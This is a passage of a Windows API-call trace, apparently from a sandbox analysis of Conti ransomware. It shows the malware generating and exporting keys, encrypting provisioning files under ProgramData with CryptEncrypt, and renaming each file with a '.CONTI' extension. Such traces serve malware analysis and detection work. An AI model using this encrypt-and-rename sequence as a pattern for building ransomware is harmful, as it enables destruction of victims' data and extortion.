	[0113.270] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.270] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.270] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.271] GetProcessHeap () returned 0x1720000
	[0113.271] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.271] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.271] GetProcessHeap () returned 0x1720000
	[0113.271] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6808 | out: hHeap=0x1720000) returned 1
	[0113.271] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.271] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c7af0) returned 1
	[0113.271] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x3cffb14 | out: pbData=0x17c5104*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.272] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.272] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.272] GetLastError () returned 0x0
	[0113.272] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=710) returned 1
	[0113.273] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0113.273] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.273] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.273] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.273] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.273] WriteFile (in: hFile=0x3dc, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.278] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.278] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2c6, lpOverlapped=0x0) returned 1
	[0113.278] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2c6, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0113.279] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.279] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.279] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.279] WriteFile (in: hFile=0x3dc, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.279] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.279] CloseHandle (hObject=0x3dc) returned 1
	[0113.279] GetProcessHeap () returned 0x1720000
	[0113.279] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.279] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.279] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.279] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.280] GetProcessHeap () returned 0x1720000
	[0113.280] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.280] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.280] GetProcessHeap () returned 0x1720000
	[0113.280] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d79f8 | out: hHeap=0x1720000) returned 1
	[0113.280] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.280] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c7c70) returned 1
	[0113.280] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x3cffb14 | out: pbData=0x17c5594*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.281] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.281] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.281] GetLastError () returned 0x0
	[0113.281] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=715) returned 1
	[0113.281] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.281] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.281] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.281] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.281] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.282] WriteFile (in: hFile=0x3dc, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.288] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.288] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2cb, lpOverlapped=0x0) returned 1
	[0113.288] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2cb, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0113.288] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.288] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.288] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.288] WriteFile (in: hFile=0x3dc, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.288] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.288] CloseHandle (hObject=0x3dc) returned 1
	[0113.288] GetProcessHeap () returned 0x1720000
	[0113.288] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.288] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.288] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.288] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.289] GetProcessHeap () returned 0x1720000
	[0113.289] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.289] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.289] GetProcessHeap () returned 0x1720000
	[0113.289] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6430 | out: hHeap=0x1720000) returned 1
	[0113.289] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.289] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c7770) returned 1
	[0113.289] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x3cffb14 | out: pbData=0x17d368c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.290] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.292] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.293] GetLastError () returned 0x0
	[0113.293] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=714) returned 1
	[0113.293] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0113.293] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.293] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.293] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.293] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.293] WriteFile (in: hFile=0x3dc, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.668] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.668] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2ca, lpOverlapped=0x0) returned 1
	[0114.668] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2ca, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0114.668] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.668] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.668] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.668] WriteFile (in: hFile=0x3dc, lpBuffer=0x17d3680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d3680*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0114.668] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.668] CloseHandle (hObject=0x3dc) returned 1
	[0114.669] GetProcessHeap () returned 0x1720000
	[0114.669] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.669] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0114.669] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.669] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.670] GetProcessHeap () returned 0x1720000
	[0114.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.670] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0114.670] GetProcessHeap () returned 0x1720000
	[0114.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bc248 | out: hHeap=0x1720000) returned 1
	[0114.670] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0114.670] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65d6bd8 | out: phKey=0x65d6bd8*=0x6b7f338) returned 1
	[0114.670] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6bdc, pdwDataLen=0x3cffb14 | out: pbData=0x65d6bdc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0114.671] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml")) returned 0x20
	[0114.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0114.671] GetLastError () returned 0x0
	[0114.671] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1842) returned 1
	[0114.671] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x732
	[0114.671] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.671] SetEndOfFile (hFile=0x3dc) returned 1
	[0114.671] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.671] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
